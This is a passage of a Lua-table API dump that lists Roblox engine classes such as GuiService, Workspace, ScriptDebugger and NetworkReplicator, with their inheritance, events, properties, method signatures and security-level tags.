 {
 Type = &quot;double&quot;,
 Name = &quot;window&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetTimes&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;frames&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;GetTimesForFrames&quot;,
 LocalUserSecurity = true
 }
 }
 },
 StatsItem = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;StatsItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetValue&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetValueString&quot;,
 LocalUserSecurity = true
 }
 }
 },
 GuiService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 },
 Name = &quot;EscapeKeyPressed&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;modifiers&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;KeyPressed&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;SpecialKey&quot;
 },
 {
 Name = &quot;modifiers&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SpecialKeyPressed&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;GuiService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsModalDialog&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsWindows&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;ShowLegacyPlayerList&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;UseLuaChat&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;Version&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;dialog&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;centerDialogType&quot;,
 Type = &quot;CenterDialogType&quot;
 },
 {
 Name = &quot;showFunction&quot;,
 Type = &quot;Function&quot;
 },
 {
 Name = &quot;hideFunction&quot;,
 Type = &quot;Function&quot;
 }
 },
 Name = &quot;AddCenterDialog&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddKey&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;SpecialKey&quot;
 }
 },
 Name = &quot;AddSpecialKey&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;OpenBrowserWindow&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;dialog&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemoveCenterDialog&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;title&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;image&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;duration&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;callback&quot;,
 Type = &quot;Function&quot;
 }
 },
 Name = &quot;SendNotification&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;x1&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y1&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;x2&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y2&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetGlobalGuiInset&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 RightAngleRampPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;RightAngleRampPart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 StarterGear = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;StarterGear&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 App = {
 Inherits = &quot;DataModel&quot;,
 Events = {
 },
 ClassName = &quot;App&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;Id&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;newId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetAppId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;scriptId&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;ConnectToGame&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 {
 Name = &quot;placeName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;actionName&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;templatePlaceID&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CreatePlace&quot;
 },
 {
 ReturnType = &quot;Dictionary&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;page&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;GetCreations&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;UnloadGame&quot;
 }
 }
 },
 SpawnerService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;SpawnerService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 PluginMouse = {
 Inherits = &quot;Mouse&quot;,
 Events = {
 },
 ClassName = &quot;PluginMouse&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 StarterGui = {
 Inherits = &quot;BasePlayerGui&quot;,
 Events = {
 },
 ClassName = &quot;StarterGui&quot;,
 Callbacks = {
 },
 Properties = {
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;BackpackGuiEnabled&quot;,
 hidden = true
 },
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;HealthGuiEnabled&quot;,
 hidden = true
 },
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;PlayerListGuiEnabled&quot;,
 hidden = true
 },
 {
 RobloxSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;ResetPlayerGuiOnDeath&quot;,
 hidden = true
 },
 {
 Name = &quot;ShowDevelopmentGui&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 Sparkles = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Sparkles&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Color3&quot;,
 Name = &quot;Color&quot;,
 hidden = true
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SparkleColor&quot;,
 Type = &quot;Color3&quot;
 }
 },
 Methods = {
 }
 },
 SoundService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;SoundService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AmbientReverb&quot;,
 Type = &quot;ReverbType&quot;
 },
 {
 Name = &quot;DistanceFactor&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;DopplerScale&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;RolloffScale&quot;,
 Type = &quot;float&quot;
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;sound&quot;,
 Type = &quot;SoundType&quot;
 }
 },
 Name = &quot;PlayStockSound&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Chat = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Chatted&quot;,
 Arguments = {
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;color&quot;,
 Type = &quot;ChatColor&quot;
 }
 }
 }
 },
 ClassName = &quot;Chat&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;partOrCharacter&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;ChatColor&quot;,
 Name = &quot;color&quot;,
 DefaultValue = &quot;Blue&quot;
 }
 },
 Name = &quot;Chat&quot;
 }
 }
 },
 PluginManager = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PluginManager&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;CreatePlugin&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Selection = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;SelectionChanged&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Selection&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;Get&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;selection&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;Set&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Workspace = {
 Inherits = &quot;RootInstance&quot;,
 Events = {
 },
 ClassName = &quot;Workspace&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CurrentCamera&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;DistributedGameTime&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;FilteringEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Terrain&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;objects&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;BreakJoints&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;ray&quot;,
 Type = &quot;Ray&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;terrainCellsAreCubes&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;FindPartOnRay&quot;
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;ray&quot;,
 Type = &quot;Ray&quot;
 },
 {
 Name = &quot;ignoreDescendentsTable&quot;,
 Type = &quot;Objects&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;terrainCellsAreCubes&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;FindPartOnRayWithIgnoreList&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;maxParts&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;FindPartsInRegion3&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Name = &quot;ignoreDescendentsTable&quot;,
 Type = &quot;Objects&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;maxParts&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;FindPartsInRegion3WithIgnoreList&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetNumAwakeParts&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetPhysicsThrottling&quot;
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetRealPhysicsFPS&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;InsertContent&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;IsRegion3Empty&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Name = &quot;ignoreDescendentsTable&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;IsRegion3EmptyWithIgnoreList&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;objects&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;MakeJoints&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetPhysicsThrottleEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ZoomToExtents&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;ray&quot;,
 Type = &quot;Ray&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;terrainCellsAreCubes&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;findPartOnRay&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;ignoreDescendentsInstance&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;maxParts&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;findPartsInRegion3&quot;,
 deprecated = true
 }
 }
 },
 CornerWedgePart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;CornerWedgePart&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FormFactorPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;FormFactorPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;FormFactor&quot;,
 Type = &quot;FormFactor&quot;
 },
 {
 Type = &quot;FormFactor&quot;,
 Name = &quot;formFactor&quot;,
 hidden = true
 }
 },
 Methods = {
 }
 },
 TrussPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;TrussPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Style&quot;,
 Type = &quot;Style&quot;
 }
 },
 Methods = {
 }
 },
 GenericSettings = {
 Inherits = &quot;ServiceProvider&quot;,
 Events = {
 },
 ClassName = &quot;GenericSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ChatFilter = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ChatFilter&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 GuiItem = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GuiItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GamePassService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GamePassService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;playerHasPassUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPlayerHasPassUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;gamePassId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;PlayerHasPass&quot;
 }
 }
 },
 NetworkReplicator = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;lostConnection&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;Disconnection&quot;,
 LocalUserSecurity = true
 }
 },
 ClassName = &quot;NetworkReplicator&quot;,
 Callbacks = {
 },
 Properties = {
 {
 LocalUserSecurity = true,
 Type = &quot;string&quot;,
 Name = &quot;MachineAddress&quot;,
 readonly = true
 },
 {
 LocalUserSecurity = true,
 Type = &quot;int&quot;,
 Name = &quot;Port&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CloseConnection&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;DisableProcessPackets&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;EnableProcessPackets&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;GetPlayer&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;verbosityLevel&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetRakStatsString&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;RequestCharacter&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;SendMarker&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetPropSyncExpiration&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Animation = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Animation&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AnimationId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 IntConstrainedValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;IntConstrainedValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;ConstrainedValue&quot;,
 hidden = true
 },
 {
 Name = &quot;MaxValue&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;MinValue&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;Value&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 ScriptDebugger = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;BreakpointAdded&quot;,
 Arguments = {
 {
 Name = &quot;breakpoint&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;BreakpointRemoved&quot;,
 Arguments = {
 {
 Name = &quot;breakpoint&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;EncounteredBreak&quot;,
 Arguments = {
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;Resuming&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;WatchAdded&quot;,
 Arguments = {
 {
 Name = &quot;watch&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;WatchRemoved&quot;,
 Arguments = {
 {
 Name = &quot;watch&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;ScriptDebugger&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;CurrentLine&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsDebugging&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsPaused&quot;,
 readonly = true
 },
 {
 Type = &quot;Object&quot;,
 Name = &quot;Script&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;expression&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddWatch&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetBreakpoints&quot;
 },
 {
 ReturnType = &quot;Map&quot;,
 Arguments = {
 },
 Name = &quot;GetGlobals&quot;
 },
 {
 ReturnType = &quot;Map&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetLocals&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetStack&quot;
 },
 {
 ReturnType = &quot;Map&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetUpvalues&quot;
 },
 {
 ReturnType = &quot;Variant&quot;,
 Arguments = {
 {
 Name = &quot;watch&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;GetWatchValue&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetWatches&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Resume&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetBreakpoint&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 }
 },
 Name = &quot;SetGlobal&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;SetLocal&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;stackFrame&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;SetUpvalue&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StepIn&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StepOut&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StepOver&quot;
 }
 }
 },
 RunService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;step&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;Heartbeat&quot;
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;time&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;step&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;Stepped&quot;
 }
 },
 ClassName = &quot;RunService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Pause&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Reset&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Run&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Stop&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Hint = {
 Inherits = &quot;Message&quot;,
 Events = {
 },
 ClassName = &quot;Hint&quot;,
 Callbacks = {
 },
 Properties = {
 },
 deprecated = true,
 Methods = {
 }
 },
 CoreGui = {
 Inherits = &quot;BasePlayerGui&quot;,
 notCreatable = true,
 Events = {
 },
 ClassName = &quot;CoreGui&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;Version&quot;,
 readonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 TouchTransmitter = {
 Inherits = &quot;Instance&quot;,
 notCreatable = true,
 Events = {
 },
 ClassName = &quot;TouchTransmitter&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 SelectionPartLasso = {
 Inherits = &quot;SelectionLasso&quot;,
 Events = {
 },
 ClassName = &quot;SelectionPartLasso&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Part&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataItem = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataItem&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Browsable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Deprecated&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsBackend&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;summary&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 ReflectionMetadataFunctions = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataFunctions&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Fire = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Fire&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Color&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Heat&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;SecondaryColor&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;float&quot;,
 Name = &quot;size&quot;
 }
 },
 Methods = {
 }
 },
 Frame = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;Frame&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Style&quot;,
 Type = &quot;FrameStyle&quot;
 }
 },
 Methods = {
 }
 },
 Plugin = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Deactivation&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Plugin&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;exclusiveMouse&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;Activate&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;CreateToolbar&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;GetMouse&quot;,
 LocalUserSecurity = true
 }
 }
 },
 BodyThrust = {
